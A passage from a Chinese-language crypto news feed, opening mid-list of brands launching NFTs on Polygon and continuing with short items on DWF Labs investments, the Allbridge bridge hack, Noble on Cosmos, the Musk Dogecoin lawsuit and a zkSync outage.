市场，并集成到两个平台上，允许用户创建和销售自己的 NFT。 不过，今年 3 月，Instagram 母公司 Meta 的商务和金融服务主管 Stephane Kasriel 发推称，将终止对 NFT 的支持，未来将通过其他方式继续支持 NFT 创作者。 Reddit（2022 年 7 月）： 在 Polygon 推出 NFT 系列“收藏头像”(Collectible Avatars) 。 Get Maine Lobsters，在线海鲜配送平台（2022 年 11 月）： 在 Polygon 上推出 NFT 忠诚度计划“Lobster Perks+”。 星巴克，全球最大的连锁咖啡店（2022 年 9 月、2023 年 3 月）： 2022 年 9 月，星巴克通过 Polygon 网络推出忠诚度计划“奥德赛”。 2023 年 3 月，以每张 100 美元的价格向星巴克奥德赛会员推出高级 NFT“The Siren Collection Stamp”。 DraftKings，美国体育博彩公司（2022 年 6 月）： 与综合格斗赛事 UFC 合作推出基于 Polygon 的 NFT 游戏 Reignmakers。 Build-A-Bear，毛绒玩具零售商（2022 年 9 月）： 在 Polygon 上推出附有实物产品的 NFT 系列。 迪士尼，娱乐传媒巨头（2022 年 7 月）： Polgon 成为入选“2022 年迪士尼加速器计划”的 6 家公司之一。 美高梅大酒店，赌场饭店、全美最大的度假村设施（2022 年 4 月）： 与 Polygon 上的票务平台合作，出售嘻哈舞演员 Jabbawockeez 的 NFT 门票。 Snapple，饮料公司（2022 年 6 月）： 与艺术家合作，在 Polygon 上设计 NFT 系列。 美联社（2022 年 1 月）： 为其照片推出 NFT 市场，NFT 将在 Polygon 上铸造。 梅西百货，零售巨头（2021 年 11 月）： 在 Polygon 上推出以其标志性的感恩节游行气球为特色的 NFT 系列。 运动品牌安德玛、篮球巨星斯蒂芬·库里（2022 年 2 月）： 安德玛在 Polygon 上推出斯蒂芬·库里的 NFT 系列，以庆祝后者的三分球纪录。NFT 也可以在 Decentraland、Sandbox 等元宇宙平台虚拟化身上穿戴。 可口可乐（2022 年 6 月）： 在 Polygon 上与艺术家合作推出 136 款 NFT，以致敬该品牌的 136 年历史。 Nike（2022 年 11 月）： Nike Web3 平台 .SWOOSH 的用户可以在 Polygon 上注册一个“.Swoosh”域名。 育碧，游戏开发巨头（2023 年 2 月）： 在 Polygon 上发行其流行角色 Rabbids（衍生自经典游戏 Rayman）的 NFT，可在 Sandbox 中穿戴。 Square Enix，游戏开发巨头（2023 年 2 月）： 推出 NFT 游戏《Symbiogenesis》。 Aerie Canada Studio，加拿大游戏开发公司（2022 年 11 月）： 将其最受欢迎的手机游戏改造和迁移至 Polygon 上。 LINE Game，日本社交巨头 LINE 旗下的游戏开发公司（2022 年 8 月）： LINE Game 的 Web3 游戏部门 Nerdystar 筹集了 1100 万美元用于制作基于其 Web2 游戏品牌的区块链游戏。 该公司的第一款游戏《Desperado B218：The Scars of Exos》已通过 Nerdystar 的区块链游戏平台 Luxon 在 Polygon 上推出。 100 Thieves，电竞组织（2022 年 2 月）： 在 24 小时内免费赠送了 30 万个基于 Polygon 的 NFT。 Deadmau5，加拿大 DJ、音乐制作人（2022 年 11 月）： 在基于 Polygon 的元宇宙平台 Pixelynx 上推出 NFT 寻宝游戏。 华纳音乐集团，音乐唱片巨头（2022 年 12 月）： 与 Polygon 达成多年的合作伙伴关系，华纳音乐集团旗下歌手 Ed Sheeran 将通过基于 Polygon 的音乐 NFT 平台 LGND Music 发布音乐 NFT。 《国家地理》，美国国家地理学会的官方杂志（2023 年 1 月）： 在 Polygon 上推出基于其照片集的 NFT 系列。 Winamp，老牌媒体播放器（2022 年 12 月）： 增加了对基于 Polygon 的音乐 NFT 的播放支持。 乡村音乐协会（2021 年 11 月）： 在第 55 节乡村音乐协会（CMA）颁奖典礼上，发布了基于 Polygon 的 NFT 系列。 Zee Studios，印度娱乐巨头（2021 年 9 月）： 在 Polygon 上推出 NFT 系列。 Diplo，美国 DJ、音乐制作人（2022 年 3 月）： 曾获得格莱美奖的 DJ 音乐人 Diplo 在 Polygon 的 NFT 市场 Royal 上发行音乐 NFT 形式的新单曲。 Nas，美国说唱歌手（2022 年 1 月）： 在 Polygon 的 NFT 市场 Royal 上发行了 2 首以音乐 NFT 为形式的单曲。 《神秘博士》，英国科幻剧集（2021 年 9 月）： 与区块链游戏开发商 Reality Gaming Group 携手推出了一款基于 Polygon 的 NFT 卡牌游戏。 《查克拉：无敌》，印度超英电影（2021 年 12 月）： 由漫威创始人斯坦·李创作的《查克拉：无敌》在 Polygon 上推出 NFT 收藏品。 约翰·列侬，披头士乐队创始成员（2022 年 2 月）： 约翰·列侬的儿子与 NFT 票务平台 YellowHeart 合作拍卖了基于约翰的纪念品的 6 件 NFT。 派拉蒙影业，电影业巨头（2022 年 4 月、7 月）： 推出经典电影《星际迷航》、《壮志凌云》主题的 NFT 系列。 烟鬼组合，美国 DJ 二人组（2022 年 5 月）： 将专辑“So Far So Good”1% 的版税作为 NFT 在 Polygon 的 NFT 市场 Royal 上出售。 尼克儿童频道，美国儿童付费电视频道（2022 年 7 月）： 推出来自多个流行儿童节目的 NFT 系列。 Hello Kitty（2022 年 7 月）： 推出 10,000 个 Hello Kitty 主题 NFT，粉丝们可以通过完成挑战免费获得。 蓝精灵（2022 年 12 月）： 推出 NFT 系列，未来可用于游戏中。 蒙面唱将，美国流行娱乐节目（2023 年 2 月）： 推出忠诚度通行证 NFT，获得 NFT 的粉丝可以通过升级来解锁幕后内容。 普拉达 + 阿迪达斯（2022 年 1 月）： 合作在 Polygon 上启动 NFT 项目“Adidas for Prada re-source”。 纪梵希（2021 年 12 月）： 法国奢侈品品牌纪梵希与艺术家 Chito 合作创作了 15 个基于 Polygon 的 NFT 艺术品。 倩碧（2021 年 10 月）： 美国化妆品品牌倩碧允许购物者获得基于 Polygon 的 NFT。 妮维雅（2021 年 12 月）： 在 Polygon 上推出 NFT 系列“触觉的价值”，以讨论当前社会赋予触觉的价值。 蔻驰（2021 年 12 月）： 发布了 80 个基于 Polygon 的 NFT，以庆祝成立 80 周年。 Paco Rabanne，服装奢侈品牌（2022 年 4 月）： 基于过去 70 年中最具标志性的 12 件高级时装发行了可在 Decentraland 中穿戴的 NFT。 Mac 化妆品（2022 年 4 月）： 在 Polygon 上推出了 NFT 系列，在 NFT 市场 Opensea 上收取的二次销售费用，会捐给专注于艾滋病患者、儿童福利的 Keith Haring 基金会。 Scotch & Soda，荷兰服饰品牌（2022 年 9 月）： 推出基于 Polygon 的 NFT 忠诚度计划，为 NFT 持有者提供特别折扣、新品抢先体验和与品牌合作的机会。 美国时装设计师协会（2022 年 12 月）： 与蔻驰等品牌合作推出了基于 Polygon 的 NFT 系列。 美国国家橄榄球联盟（2021 年 11 月）： 通过在 Polygon 上推出“虚拟纪念票”来实验 NFT 票务。 利物浦足球俱乐部（2022 年 3 月）： 与基于 Polygon 的苏富比元宇宙平台合作推出 NFT 系列。 美国国家橄榄球联盟（2023 年 2 月）： 与 Reddit 合作，在 Polygon 上发行“超级碗 LVII”的收藏头像。 Sunil Gavaskar，印度板球传奇运动员（2021 年 11 月）： Sunil Gavaskar 在 Polygon 上推出“名人堂”NFT 系列，其中包含 Gavaskar 各种板球里程碑时刻和亮点。 Milkha Singh，已故印度田径运动员（2022 年 1 月）： 基于 Polygon 的 AtiusDAO 推出 Milkha Singh 的 NFT 系列。 《体育画报》，美国流行体育周刊（2022 年 2 月）： 在 Polygon 上推出美国国家橄榄球联盟名人堂成员的 NFT，灵感来源于其往期周刊封面。 ESPN，美国电视体育频道（2022 年 4 月）： 与基于 Polygon 的 NFT 平台 Autograph 联合推出橄榄球运动员 Tom Brady 的 NFT。 克利夫兰骑士，NBA 热门球队（2023 年 1 月）： 在 Polygon 上推出 NFT 系列，持有 NFT 的球迷可以获得专属福利，包括打球装备、场馆前排体验等。 名爵汽车-印度子公司（2021 年 12 月）： 在基于 Polygon 的 NFT 平台 ngageN 上推出 NFT 系列。 大众汽车-南非子公司（2022 年 3 月）： 赠送基于 Polygon 的 NFT 来庆祝新款 Polo 上市。 本田-讴歌（2022 年 3 月）： 在 Polygon 上推出限量 NFT，前 500 名订购 2023 款讴歌 Integra 的客户有机会领取。 大众汽车-巴西子公司（2022 年 4 月）： 推出“数字车库”和基于 Polygon 的大众汽车 NFT，爱好者可以体验、收集、交易。 起亚汽车-美国子公司（2022 年 7 月）： 观看广告的观众可以扫码领取起亚主题的 NFT，NFT 在 Polygon 上铸造。 宾利汽车（2022 年 9 月）： 在 Polygon 上推出数量仅 208 件的 NFT。 Ernst & Young，世界四大会计师事务所之一（2022 年 5 月）： 在 Polygon 上推出供应链跟踪服务。 德国世界野生动物基金会（2021 年 10 月）： 在 Polygon 上推出 NFT 系列，以筹集资金保护濒危动物。 西门子，德国第三大上市公司（2023 年 2 月）： 在 Polygon 上发行了第一笔价值 6400 万美元的数字债券。 世界自然基金会（2022 年 2 月）： 在 Polygon 上推出濒危动物主题 NFT，每笔销售额的 12.5% 将用于全球保护工作。 Katjes，成立于 1950 年的欧洲糖果公司（2022 年 5 月）： 在 Polygon 上推出 NFT 系列，为持有者提供独家会员资格、折扣和福利。 阿提哈德航空公司（2022 年 7 月）： 在 Polygon 上推出 NFT 系列，所有利润用于在 2022 年购买可持续航空燃料。持有人可获得专享特权，例如休息室使用权、优先登机。 唐纳德·特朗普（2022 年 12 月）： 在 Polygon 上推出 NFT 交易卡，持有者有机会赢得与特朗普的 Zoom 视频对话，或与特朗普本人共进晚餐。  ( 7 min )
    DOGE联合创始人：与项目已无关系，但持有少量DOGE
    PANews 4月2日消息，DOGE联合创始人Billy Markus针对加密社区的一些传言进行了澄清，Billy Markus表示，他已经离开DOGE项目9年了，目前与该项目没有任何关系，而且也不代表DOGE团队发言，但拥有少量的DOGE代币。针对加密社区希望他重新代表DOGE项目，Billy Markus表示到目前为止他唯一能代表的人就是他自己。  ( 1 min )
    Vitalik：ZK-EVM或将成为以太坊的第三种客户端
    PANews 4月2日消息，Vitalik在最新文章中表示，ZK-EVM长远来看不仅用于Rollup，也将用于验证 Layer 1的执行情况，ZK-EVM或将成为以太坊的第三种客户端。因而ZK-EVM如何与以太坊的多客户端理念进行交互值得探讨，Vitalik认为每个客户端在接受一个有效的块之前，都要等待一个与自己的实现兼容的证明。虽然牺牲了多客户端范例的一些好处，但在能够正式证明所有ZK-EVM实现彼此等价之前，此方法是理想的。但这种方法也存在区块延迟和数据效率低下等挑战，未来仍然需要做大量的工作。 相关阅读：Vitalik：ZK-EVM如何改变以太坊验证方式并成为第三种客户端？  ( 1 min )
    数据：Fantom基金会近一个月向Binance净转入950万枚FTM
    PANews 4月2日消息，据推特用户余烬监测显示，过去一个月Fantom基金会通过Fantom链钱包0xA0d，累计向Binance 转入2200万枚FTM，然后通过0xb5c钱包从以太坊链转出1250万枚FTM，向Binance净转入950万枚FTM。  ( 1 min )
    频频投资的DWF Labs是谁？「VC+做市商」，每月定投5个项目
    撰文：0x22D、Cookie，BlockBeats 近日，一家名为 DWF Labs 的机构频频掷出大额投资，引得市场关注。其实他们并非加密新兵，而是早已进入市场，但直到最近才开始高调地投资项目。 DWF Labs 将自己定位为「全球加密资产做市商与多阶段 Web3 投资公司」，是 Digital Wave Finance (DWF) 的附属公司，在新加坡、瑞士、英属维尔京群岛、阿联酋、韩国和中国香港设有办事处。DWF 是一家全球性的加密货币高频交易公司，自 2018 年开始，在 40 多个顶级交易平台进行现货和衍生品交易，位居全球加密货币交易量前 5 名。 DWF Labs 管理合伙人 Andrei Grachev 在接受采访时表示，目前动荡的市场正是进入投资领域的最佳时机，且他们已从利润中积累了足够的资金来投资项目。大多数情况下，DWF Labs 通过直接购买 Token 的形式对项目进行投资。目前其投资组合中已有 104 个项目，几乎涵盖了 Web3 的全部垂直领域。 每月至少投资 5 个项目，DWF Labs 的投资理念 DWF Labs 在官网中表示，「无论市场状况如何，DWF Labs 平均每月都要投资 5 个项目」，作为以做市和高频交易为主营业务的公司，他们是如何选择这么多项目的？ 目前 DWF Labs 的投资组合中有超过 100 个项目，且具有相当高的多样性，从区块链基础设施、DeFi、NFT、链游到 DAO、去中心化社交、数据分析、隐私、娱乐，很难找到一个非常大的投资重点。这并非只是对分散投资思维的贯彻，对 DWF Labs 来说，投资组合的多元化也是一种涉足所有垂直领域，保持领先地位并适应市场需求的一种方式。 在官网的介绍中，DWF Labs 表示正在寻求投资和支持想要打造 Web3 未来的大胆创始人，可提供咨询、流动性供应、网络安全、智能合约审计、债务融资、资金管理方面的帮助，并可以与其在不同垂直领域的众多合作伙伴建立联系。 在确定一次投资前，DWF Labs 会先进行关于项目基本信息的事实调察，然后由分析师进行更深入的尽职调查，最后还会由其设计的预测算法计算项目的成功机会，将结果与此前步骤中收集的意见进行综合评估。 DWF Labs 致力于引导其投资组合中项目的合作，引发新的化学反应。例如，2022 年 Orbs Protocol 就曾与 TON 展开大规模合作，为 TON 开发了多个 Layer3 App，如 TON-Access、TON Minter 和 TON Verifier。今年，Orbs Protocol 更是成为了两场 TON 黑客松的主要赞助商。 DWF Labs 管理合伙人 Andrei Grachev 早年任职于有着「俄罗斯京东」之称的电商平台 Ulmart，2017 年投身加密市场，在莫斯科成立了一家名为 Crypsis Blockchain Holding 的机构，于 2018 年 5 月加入俄罗斯加密经济学、人工智能和区块链协会（RACIB）担任交易副主管，2018 年 9 月出任 Huobi Russia CEO，同年 12 月加入 DWF Labs。 Andrei Grachev 在接受采访时表示，加密市场可分为美国市场和美国以外的市场，他们则主要专注于亚洲市场，在其官网中也可以看到许多亚洲面孔。 合伙人 Heng Yu Lee 曾任职于摩根大通，离开摩根大通后在新加坡成立了一家名为 GROUP8 的网络安全和情报公司，得到著名人工智能、信息安全和防务行业资深人士的支持，2022 年 5 月加入 DWF Labs。 合伙人 Zac Zou 曾任职于中国港湾工程有限公司，2018 年 8 月加入 OKEx 担任区域商务经理，专注于越南、印度、俄罗斯市场，2022 年 6 月加入 DWF Labs。 2023 年 3 月 29 日，Fetch.ai 宣布获得来自 DWF Labs 的 4000 万美元投资，该笔投资将用于支持 Fetch.ai 平台上自治代理、网络基础设施与去中心化机器学习三方面的开发与部署。 Fetch.ai 成立于 2017 年，是一个主打 AI 应用的公链。2019 年，Fetch.ai 的 Token $FET 登上了 Binance Launchpad，在 22 秒内售出了约 6920 万枚 $FET，筹集到约 600 万美元。 Fetch.ai 生态系统内的应用包括数据与 AI 模型市场 CoLearn、 企业级隐私保护 AI 数据分析应用 Axim、引入现实世界抵押品的 DeFi 协议 Atomix、低碳出行 to Earn 应用 Mobix、汽车行业数据共享网络 Catena-X、去中心化社交网络 Resonate 以及 Cosmos 钱包 Leap Wallet 等。 2023 年 3 月 17 日，Synthetix 财政部委员会通过电子邮件宣布，DWF Labs 于 3 月 16 日购买了价值 1500 万美元的 Synthetix 原生代币 $SNX，随后将进一步购买 500 万美元。同一天，根据 DWF Labs 官推发布的信息，DWF Labs 与 Synthetix 财政委员会达成了协议，将在中心化与去中心化交易平台为 SNX 提供流动性与做市商服务。DWF Labs 承诺以多种方式成为 Synthetix 协议成员，包括：集成与交易 Synthetix 永续合约、在 Epoch 选举期间参与 SNX 治理、参与社区与产品交流。 Synthetix 是一个去中心化流动性层，基于 Ethereum 和 Optimism，为 DeFi 中一些最令人兴奋的协议提供流动性后端支持。质押者提供流动性，用以担保一系列合成资产，并因此获得奖励和市场收益。这种流动性为合成资产和永续期货的交易提供了预言机价格的保证，消除了对传统订单簿和交易对手方的需求。因此，流动性在市场之间变得可组合和可替代，且传统的滑点得以消除。 Synthetix V3 将在未来几个月内分阶段推出，用户将从现有的 V2X 系统慢慢过渡到 V3。 2023 年 3 月 2 日，DWF Labs 宣布对基于 EVM 的 Layer 1 区块链 Flare 进行了投资，投资的具体金额未披露。 Flare 有 State Connector 与 Flare Time Series Oracle 两个核心协议。State Connector 通过一组独立的证明提供者从其它区块链获取信息并转交给 Flare Network，State Connector 的智能合约将检查响应的一致性来决定所获取信息的有效性。Flare Time Series Oracle 依靠一组独立的数据提供商，从外部数据来源检索价格对的信息。通过质押 $FLR 可以为某个外部数据源进行加权，最有效的外部数据提供商将与为其提供加权的 $FLR 质押者共享奖励。通过 State Connector 与 Flare Time Series Oracle，Flare Network 允许来自其他链和 Web2 API 的信息在 Flare 上安全且无需信任地使用，并在不依赖中心化数据提供商的情况下向 dApp 提供高度分散的价格和数据系列。 DWF Labs 在 2022 年 12 月 30 日宣布了对 Coin98 的投资，投资的具体金额未披露。在更早的时候，去年的 1 月 5 日，Binance Labs 宣布战略投资 Coin98。 Coin98 是领先的 DeFi 一站式平台，旗下包括 Coin98 钱包、Coin98 交易平台、Space Gate 跨链桥接服务等。截止 2022 年末，Coin98 的用户数量突破 500 万，总成交量突破 7 亿 5 千万美元。在 2022 年，Coin98 还发行了自己的稳定币 $CUSD。 2023 年 2 月 17 日，据 Tech in Asia 报道，链游公会 Yield Guild Games（YGG）已通过出售 Token 募集到 1380 万美元资金，DWF Labs 和 a16z 领投。YGG 联合创始人 Gabby Dizon 透露，YGG 将利用这笔新资金进一步开发其灵魂绑定声誉 Token。 YGG 是全球最大的区块链游戏公会之一。截止 2022 年底，YGG 拥有 80 多个游戏和基础设施合作伙伴，并且在 SubDAO 与电竞方面有了长足发展。 2022 年 11 月 17 日，DWF Labs 宣布承诺拨款 1000 万美元支持 TON 生态系统。未来 12 个月内，DWF Labs 还计划进行总共 50 次种子轮投资，旨在加速 TON 及其项目的增长。 TON 是 Telegram Messenger 团队于 2018 年开发的 Layer 1 区块链解决方案，$TON 是该链的原生 token，主要用于支付交易费用，并作为验证器的保证金确保网络安全。 2022 年 9 月 16 日，Conflux 获得 Web3 风投机构 DWF Labs 战略投资，具体融资金额未披露。 Conflux 是中国唯一合规、公开、免许可的区块链。 2023 年 1 月 19 日，Web3 投资公司 DWF Labs 宣布与 Mask Network 进行战略投资和合作，通过购买价值 500 万美元的 MASK Token 进行了投资，该投资将用于支持去中心化社交网络和整个 Mask Network 生态系统的持续建设，使 Web3 更易于访问。 Mask 致力于保护数据隐私，搭建 Web 2.0 和 Web 3.0 之间的最佳桥梁。通过浏览器扩展，Mask 引入了一个由 30 多个流行的 Web 3.0 dApp/功能组成的生态系统，可以在现有的 Web 2.0 网站（如 Twitter 和 Facebook）上无缝运行。 2023 年 3 月 23 日，Layer1 公链 Radix 宣布完成 1000 万美元融资，本轮融资完全由 DWF Labs 支持，投后估值达到 4 亿美元。Radix 首席执行官 Piers Ridyard 表示，DWF 已经提供了 800 万美元的资金，剩下的 200 万美元将在不久的将来提供。此前，Radix 在 2021 年完成了 1270 万美元的融资，并与同年向社区发行了 XRD Token。 Radix 在 2013 年以区块链研究项目的形式启动，在 2017 年该项目公司化，并持续开发至今。2013-2017 年间，该项目从社区募集到了 3000 枚比特币。Radix 首席执行官 Piers Ridyard 表示，不想重复现有技术是该项目的研究周期长达接近 10 年的原因，Radix 将拥有自己独特的共识系统、执行环境以及编程语言，并且 Radix 的编程语言「Scrypto」会比 Solidity「更易用」。 Radix 预计将于今年第二季度推出名为 Babylon 的主网。Piers Ridyard 表示，已有超过 50 个项目致力于在 Radix 上构建应用，类型从 DeFi 到 NFT 市场均有涉猎。Radix 于 2021 年 7 月曾推出 Olympia 主网，但该 Olympia 主网只支持用户在网络上创建钱包与转移/质押 $XRD。Babylon 主网将作为 Radix 技术栈的最终版本发行，用户届时将得以获得众多 dApp 带来的完整使用体验。 2023 年 3 月 22 日，据 Cointelegraph 报道，另类（非传统）互联网开发商 tomi 完成 4000 万美元融资，DWF Labs、Ticker Capital、Piha Equities 以及日本加密投资者 Hirokado Kohji 领投。据悉，tomi 于 2022 年作为去中心化云计算网络启动，旨在创建一个由去中心化自治组织（DAO）管理的互联网版本（去中心化数字资产与云服务/抗审查）。tomiDAO 的任务是网络治理，包括对代码更改提案进行投票，并就管理违反社区准则的内容达成共识。 2023 年 3 月 14 日，加密基础设施开发商 Orbs 计划从风投机构 DWF Labs 筹集 1000 万美元。Orbs 表示，DWF Labs 将购买价值高达 1000 万美元的 Orbs Token。Orbs 首席执行官 Nadav Shemesh 表示，总投资的第一部分于今日结算。他补充说，其余的投资将「按平均价格计算」。Orbs 成立于 2017 年，产品定位是「Layer 1 / Layer 2 解决方案与应用层之间的独立执行层」。Orbs 计划利用该笔融资继续开发其基础设施，以提升 Orbs 在 EVM 链和 TON 上的采用率。 2023 年 2 月 23 日，隐私技术初创公司 Beldex 完成 2500 万美元融资，数字资产做市商和投资公司 DWF Labs 投资并与其建立合作伙伴关系，这些资金将有助于推动 Beldex 生态系统的研发，而 DWF 将担任顾问并帮助开展营销活动。Beldex 生态系统包括私人消息传递应用程序 BChat、去中心化虚拟专用网络 (VPN) BelNet、Web3 浏览器 Beldex 和跨链隐私协议 Beldex，它使跨链资产移动匿名化。  ( 6 min )
    PeckShield：跨链桥Allbridge安全事件导致约57万美元损失
    PANews 4月2日消息，据派盾（PeckShield）监测显示，跨链桥Allbridge遭黑客攻击，损失约57万美元（包含约28万枚BUSD和约29万枚USDT）。根本原因似乎是资金池的Swap价格被操纵。黑客扮演流动性提供者和交易者的双重角色，耗尽池中的资金。 此前消息，Allbridge正在调查BNB Chain资产池现状，跨链桥已暂时关闭。  ( 1 min )
    Dune发布大语言模型路线图，引入查询解释功能并集成GPT-4
    PANews 4月2日消息，区块链分析平台Dune在社区中发布大语言模型（LLM）路线图，已推出第一个LLM功能，并为用户准备全套LLM功能与集成。Dune已发布查询解释（Query Explanations），并集成ChatGPT4，用户可点击按钮来显示任何查询的自然语言解释，简化SQL查询。此外，Dune支持使用LLM进行自然语言查询，用户可使用英语提出问题并查询Dune数据集，而无需任何SQL知识。  ( 1 min )
    NFT系列Mocaverse将于下周调整质押窗口
    PANews 4月2日消息，Animoca Brands旗下NFT系列Mocaverse推特发文称，将从北京时间4月3日晚上9点开始调整质押窗口。新窗口为北京时间每周一的晚上9点到下一个周一的晚上8:59。从现在到北京时间4月3日晚上8:59，可向冷钱包转账。此外，Mocaverse还宣布下周将为在一个钱包中持有多个Mocas的用户推出“助推器”XP Booster服务，持有不同数量Mocas的用户将得到对应级别的奖励。  ( 1 min )
    Allbridge：正在调查BNB Chain资产池现状，跨链桥已暂时关闭
    PANews 4月2日消息，跨链桥Allbridge推特发文称，正在调查BNB Chain资产池现状。在调查期间，跨链桥已被暂时关闭。  ( 1 min )
    数据：一巨鲸将超过9000枚ETH存入NFT市场Blur并交易CryptoPunks
    PANews 4月2日消息，链上分析师@Lookonchain推特发文称，一个“0x3Ac7”开头的巨鲸地址已将9025.5 ETH存入NFT市场Blur，价值约合1640万美元。随后该巨鲸开始在Blur平台上购买和出售CryptoPunks以赚取获得空投代币机会的积分。  ( 1 min )
    Noble：为原生通用资产和RWA发行而生的Cosmos基础设施
    原文：《Friends are Forever: What is Noble?》by Sooper 编译：深潮 TechFlow Noble 是一种应用程序特定区块链（Appchain），专为 Cosmos 生态系统中原生资产发行而设计。这意味着 Cosmos 可以直接在 Noble Appchain 上铸造和销毁资产，不再被迫依赖令牌桥将非本地资产引入其生态系统。 Noble Appchain 于 3 月 27 日上线，旨在成为「互操作性数字资产的世界级发行中心」。在 Noble 上不仅限于加密资产的发行，还可以将现实世界资产（RWA）进行代币化和发行。 问题 数据表明，特别是非本地资产上市的新列表会吸引更多用户和流动性进入 Cosmos。用户必须建立桥接来处理非本地资产，但是桥接通常只有在资金充足时才能发挥高效作用。大量的资金转移可能导致严重滑点，并且持有桥接资产的用户/协议完全依赖其桥接的安全性。 大多数非原生资产并没有列在 Cosmos 的桥上，限制了流动性的潜力，并对每个 Appchain 上的 Cosmonauts 造成影响。 这在原生稳定币流动性方面尤其如此，Cosmos 在 Terra $UST 崩溃后受到了巨大打击。像 $USDC、 $wETH、 $wBTC 和 $DAI 这样的代币都是非原生/桥接资产，占据着 Osmosis 大部分流动性，并在产生大部分费用的池中发挥作用。但这些资产背后的发行人没有一种简单的方法来在 Cosmos 上原生部署。 目标 Noble 通过其「发行特定」的区块链彻底改变了 Cosmos 对桥接流动性的依赖。协议和公司可以使用所有区块链开发者熟悉的标准框架轻松地在 Noble 上部署其代币，而在 Noble 上发行的代币可以无缝地在 IBC 生态系统中传输。 Noble 的基础设施为资产发行人提供了完全的控制权，因此像 Circle 和 Tether 这样的公司可以保持其通常的合规模式。Noble 构建的这个「网关」将极大地改善 IBC 本地流动性，特别是稳定币。 Noble 的 Appchain 是任何类型的发行人的超级便捷途径，包括寻求发行现实世界资产（RWA）的机构。Noble 在企业采用 Cosmos 中扮演的角色似乎是不可避免的。 Noble 使用 Cosmos SDK 构建，这是一个用于构建在 Tendermint 共识引擎上运行的自定义应用程序特定区块链（Appchain）的工具包。Noble 的 Appchain 专门用于部署代币合约和发行数字资产。 此外，Noble 支持 IBC，因此可以连接到 Cosmos 中的 50 多个其他 IBC Appchain。该网络使用「数据包转发」中间件（与 Osmosis 最近的 v15 升级版本相同），以允许单事务 IBC 转移至任何 Appchain。这极大地改善了 IBC 转移的用户体验，用户不再需要在多个 Appchain 之间进行交易才能到达目的地。 Noble 原计划与 Interchain Security 一起推出，但团队决定等待 ICS 经过时间考验后再在 Noble 上采用。Interchain Security 是共识基础设施，允许 IBC Appchain「租用」Cosmos Hub 验证器来保护其链（而不是使用自己的验证器集）。对 ICS 的担忧主要集中在削减不是自动的，而是由 Hub 治理批准的投票。 与此同时，Noble 将使用权威证明（PoA）共识机制。为了使 PoA 成为 ICS 之前的最佳替代方案，已选择多个值得信赖的 Hub 验证器进行 PoA 验证器集。行为不当的验证器将被永久从 Noble 验证器集中删除。Cosmos 社区组织的 5/7 多重签名也将能够向链推送更新（可以由验证器的 1/3+投票拒绝）。 Gas 费用可以用任何 Cosmos 资产支付，包括在 Noble 上发行的资产。由于 $USDC 将是第一个推出的代币，因此它将成为主要的 Gas 代币，直到更多的资产在 Noble 上部署。 新资产通过 5/7 多重签名投票加入链中。发行人可以使用 Osmosis 提供的方便的 TokenFactory 框架轻松地在 Noble 上部署其代币。TokenFactory 让所有发行人都可以按照自己的标准自定义控制其资产。 在 Noble 上既可以发行加密货币资产，也可以发行代币化的现实世界资产（RWAs）。这使得 Noble 成为有史以来专门设计用于广义资产发行的第一个基础设施，可能引起像银行这样的机构的兴趣。RWAs 对传统市场具有很多潜在的好处，例如降低成本、提高交易速度、增加透明度、分形所有权、使市场更易于访问等，在经济合作与发展组织 2020 年的一篇文章（PDF）中有很好的阐述。 合作伙伴 通过 IBC，Noble 可以连接到其他数十个支持 IBC 的 Cosmos Appchain。 Circle 是第一个在 Noble 上推出其$USDC 稳定币本地发行的发行人，再加上 Circle 的互操作性协议，这可能会为 IBC 生态系统带来大量新的稳定币流动性。 Noble 团队已确认正在与其他资产发行人进行谈判，包括 RWA 发行人。 Frax Finance 的创始人也提到了与 Noble 的谈话，这将为 Cosmonauts 提供一种新的去中心化稳定币选择，并为$FRAX 持有者提供进入 IBC 生态系统的通道。 1. Noble 团队由 Cosmos 中最受尊敬的人才（Zaki、Jelena、Jack、Stefan）组成。 2. 技术开发和推广目前由 Strangelove 指导，这是一个在无数有影响力的 IBC 创新背后的建设者组织。 3. Noble 正在建立一支内部技术团队来管理链的开发和维护，并将继续与 Strangelove 保持正式合作关系。 $FRNZ 代币将由 Noble 发行，专门用于兑换一种实物。它并不意味着是 Noble 的原生代币，而是旨在展示该链的功能，并为 Noble 独特地产生热情。 总供应量非常少，因此每个 $FRNZ 代币可分为 100 万个「microfrienzies」。 4 月 3 日，将向 3 月 27 日快照中 10 个链上的用户空投 300 枚$FRNZ 代币，或 3 亿 microfrienzies。 Noble 将在 Osmosis、Kujira、Wynd 和 Crescent 提供 100 枚$FRNZ 代币作为流动性，并保留 100 枚 $FRNZ 代币作为「杂项储备」，用于分发给更广泛的 Cosmos 社区、补充$FRNZ 的流动性等。 1 枚$FRNZ 代币可以兑换一件 Noble 实体手链，任何人都可以烧毁 50,000 个 Microfrienzies 来获得 Stargaze 上可用的特殊 Noble NFT 的白名单。手链兑换将通过 Juno 上的 Swift Protocol 进行。 Noble 的通用资产发行链对于 Cosmos 生态系统来说是重要的一步。每个 Appchain 上的 Cosmonauts 都可以开始享受更多的 IBC 原生流动性，这是 Noble 带来的好处。 不仅如此，Noble 还可以成长为区块链机构和企业采用的一个重要方面。它的潜力无限，而且所有这些都是建立在 Cosmos 之上。  ( 3 min )
    马斯克要求法官驳回狗狗币投资者对其提起的2580亿美元集体诉讼
    PANews 4月2日消息，据路透社报道，马斯克周五要求美国法官驳回狗狗币投资者对其提起的2580亿美元集体诉讼。在向曼哈顿联邦法院提交的一份文件中，马斯克及特斯拉律师称，狗狗币投资者对马斯克“无伤大雅且经常是愚蠢的推文”提起的诉讼是一部“幻想小说”。律师表示，投资者从未解释马斯克如何进行欺诈，或者他隐瞒了什么风险。马斯克的“狗狗币 Rulz”和“没有高点，没有低点，只有DOGE”等发言过于模糊，无法支撑欺诈指控。在一份脚注中，律师还驳回了投资者关于狗狗币符合证券资格的说法。据此前消息，投资者指控马斯克实施金字塔骗局，在两年内故意将狗狗币的价格推高了360倍以上，然后让它崩盘。  ( 1 min )
    zkSync：数据库故障导致宕机，去中心化是唯一的长期解决方案
    PANews 4月2日消息，据官方消息，zkSync团队在推特公布了宕机原因。由于区块队列数据库发生故障，导致出块停止。尽管如此，服务器API未受到影响。交易继续被添加到内存池，查询服务正常。尽管所有组件都有全面的监控、日志记录和警报，但由于API正常运行，所以没有触发警报。事故发生时，整个团队都不在线。修复在5分钟内实现。为解决类似问题，zkSync赋予数据库监控代理一个特殊角色，使它们能够连接到数据库并持续收集指标。与此同时，团队引入了警报机制，当数据库监控代理发生故障或无法与数据库建立连接时将发出警报。此外，如果事态严重升级，随时待命的团队会通过多个渠道立刻获得通知。但唯一的长期解决方案是去中心化。  ( 1 min )

  • Open

    ENS 域名封装是什么？为何如此重要？
